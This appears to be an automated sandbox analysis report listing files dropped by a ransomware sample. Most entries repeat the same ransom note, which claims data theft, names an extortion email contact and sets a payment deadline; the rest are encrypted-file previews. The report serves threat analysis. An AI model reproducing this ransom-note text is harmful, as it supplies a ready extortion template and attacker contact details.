Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\Adobe\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\DESIGNER\MSADDNDR.OLB

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):15086
Entropy (8bit):7.9897501641100845
Encrypted:false
SSDEEP:
MD5:4C59942C8BB162BAA270BC8D352C4F71
SHA1:634BFDFA6C9A88C885D080980AE6E234EF36EDDC
SHA-256:AE3DEEBE3C1DBB2CBE2E9CCC8808DBC19917F724769C0DA3C235216542ABA36B
SHA-512:1A3949980EA0A06B7FDE06B07B0D9A9D2713096440E50C7FB0E157BE15EEFE45C47754BA4721494B7AA0AC2D3F768431E2281118A46D3FE201E890A36A231BDA
Malicious:false
Preview:.%.Gr.w.6`q.z..!.}....1..........V...@..J...o2.H.J..S{A_..5... K..@..;f....V$."P5m2.n>..twd.<.Q&.m.>..V..,..t..sk..K..w...<*....;;....u......?D....pQ._r...M*..Hmy..P"...{...gq.))...}...?..x4.vZ.....3\.;..z.....cIEX......8.....:.T@l.<f.d.-.._..C..Q..V....g.F...N...4......l.U8.Lu..I2b..(...h.\........($..k.9.X..M.....iT..9....b...z4...53 ...)m+....Ky}...L....x?...XH..m._2....)..AK<....-l.f0..{0.P..Y.Ls@2. ..k..u.$..!.O2..-0].A6.D1..Q..3].8`....z..?....P.s.A..9..b..=..2G&.L+.......^..5 .....g.[.>`.j_'"..d...T..R.$C...j.....x....p.|...`.S...i}-..(4..#^..|..Q........;.c.i.b......g.O...r.v..B..".q!M.v.4.}..g..d...........|TzZ.<=....\.k...Y....m.d/k.......l......(.V....i.6...-sC....<#B..N2.`L....A...i.g.T4O.....w.A.-(...VL....t=.u.M[`R..'.t...N....yK........9.D...y.r.yM.>......>..r...O.*...."/....F....... ....q.V..I..~...6.g.A..Y...o..Oj.?8.0..HA..*.;.D...(.....t.r .|...5....Y.w...,.......G7jk...pO..n.XYT.1......w...4..>{J..;[....i..3..8..

C:\Program Files (x86)\Common Files\DESIGNER\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\Java\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\Oracle\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\Services\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\microsoft shared\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Common Files\system\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Google\CrashReports\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Google\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Google\Update\GoogleUpdate.bk

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):156638
Entropy (8bit):7.998774424320839
Encrypted:true
SSDEEP:
MD5:FCAFDC1758A4F76F90CD6191B03468E5
SHA1:B6E9E96F78EAE945445D762DDE808672ED0D8EA6
SHA-256:6951E738C9E584B91B30B923A18E03FDA655D0874F8D5ADCEBFD043A311521EB
SHA-512:A82F93949533CBBE4E55AF8FC0ED4FDDA4A8C0DB0869C4E27A0346460454BD9CEE1AE6117263EB98E3BD92AC6E5CE300E808C1D9580AC9FE82E8A1EA730E7DF0
Malicious:true
Preview:7.'.&..c...C_5..WL~1..~-..F.}:.....P..S....!..........[...E...wfi...z%3..62...-I.y. .~-P..?c....v..........xU...;...........[Q1.Z[...}..oz.....t....N.1_.3.0t..........| ..I....."{.ch..@.e6q .!o.......{..E....V.5......Tg....e.YH.)7...o..%...$..k.U...Y.R.M..wB+#.M.?..M84'0V,.......Xx.P......_....L.....?..E...f...Q-.2i..0..qK.Hnf-.'c7...,.q..8...Te..`I..X..?i.......[.....[0..l...<*....x.!.T...{..p....g.0...kA..e..k`d.=.L....F+....V.@.c.Z ..l.I_...ihH....i.z.;M>t'-..P..@..../.g....V|..("c...V.............7.oh8....|..nD2N..!...e.9W3..#7.]...h.z."....0.../8..Icg.d.*X.w.....m.s......^.^6...+)R-.l..e..].........&`.D.\.....-N.1".../..q.....#..o.....v..^G..{u:.m...;.9..#"|y............T|.K..|@..........p.J6.a}..oC..z*.?..M.9.W..G....;<r..9.+.....hX..p...]....Q...g^,.<.A.._R\%-.r..hjm..|y.....N..[%..t....8..!x$...(.<.O.%\.2.....7o'K....g.q9...L..fr..., .Y....J(.....H0.}x.#....&*s{..U0.....qfm)..i..~0....u`..uU.7.C..fJ.}.9...+^...r.g............[b

C:\Program Files (x86)\Google\Update\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Internet Explorer\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Internet Explorer\SIGNUP\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Internet Explorer\SIGNUP\install.ins

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):986
Entropy (8bit):7.760329238168114
Encrypted:false
SSDEEP:
MD5:0A8D4C8A918B151A30C3857AB7B1AE1E
SHA1:9A8AB90E158429AEAF8632390C56F758C3657BFD
SHA-256:3D9127B412523A239D2D0DDA9848237772737E9C52CE0FF4310464235442D58F
SHA-512:BE3BBBC54263A0D5EA80D43D31B4D6EFCE1E95977724EBE65820A2BE8C0C13DC88F4ABEB4E5221B69AA42AC70CF920646BC043050D49D3B3CFA10C1D12BBA691
Malicious:false
Preview:y o..0.`.^..n..d..P."..".K....l4HT...H.8,..-,.U..H.u.... %R..D..(.c....[..j..W.#.:...?.xbtN...'.\.(...^...K.e..1..._]..I=.....L.....T.W...k.....`....]...~*..'r..Vk....b..2.l5...B.Z.w;t..}..u.......J.....:.t9DF..&{.W._ o.c5Eg..0..,..N...q...`..;d....&...\.....>..L.G<.M;....r.:u..c.d... ....+.G.....;t..L..aa.....H..4.G.....i.%.H.gEY....K".bS>.KX.)..6......u.v1..~Q.|.....X.F.D..n..Y."@x.!..xK........*WD=w.....{V.y.B.Y.).lp!..a...`r[.K8..l{..k....2..j.7...T..;.K..,k.i>C.C.k`U.F.....-..zn.}..w..\....o..J.".......o..o..A..-./*.=..^tju_..e....`?w..P.ejW7=.%.j.p0.l..#.#...gM....g.o......7..Y.-V.....z.Dh5...>j.:.>+.5......Lv.,WZ....fA.G'.....u.S...V/vV..U......U.N....S\.*..w.-.V........)...&{*.@K.&|........D.<b5.$....~..k|_3.......t.Y......]..z...C.k.8.0.....%...~;..9..9..e...I...q.......4oG7[..L?.:.i".c.77.M......p.'.Gf.W8.*o.2crc..c...D..F....#.#B#........Y......C...>....x.FH..b....m]....Y..nJ..j.o.[.#.....+.T............$.........

C:\Program Files (x86)\Internet Explorer\en-US\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Internet Explorer\images\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Java\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Java\jre1.8.0_211\COPYRIGHT

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3778
Entropy (8bit):7.953462639289825
Encrypted:false
SSDEEP:
MD5:4A7CCEC4F61EA486D75A11CDE1E6D538
SHA1:48EB43ED68946197B68E97997E0D68F04AA7497F
SHA-256:1C175379FE75B408AABBE575F534661D9DC1D59D23DA4DB0AAA3B9307529BAF7
SHA-512:432E27558E8FAAA9B153B2B7718BEE3CB0F512DA37F3D5B4021D6CD47F91871F6BFC7879C6E5A6CB40FF045A837ED3E1CD856195583B5C8BD82514B2045DD891
Malicious:false
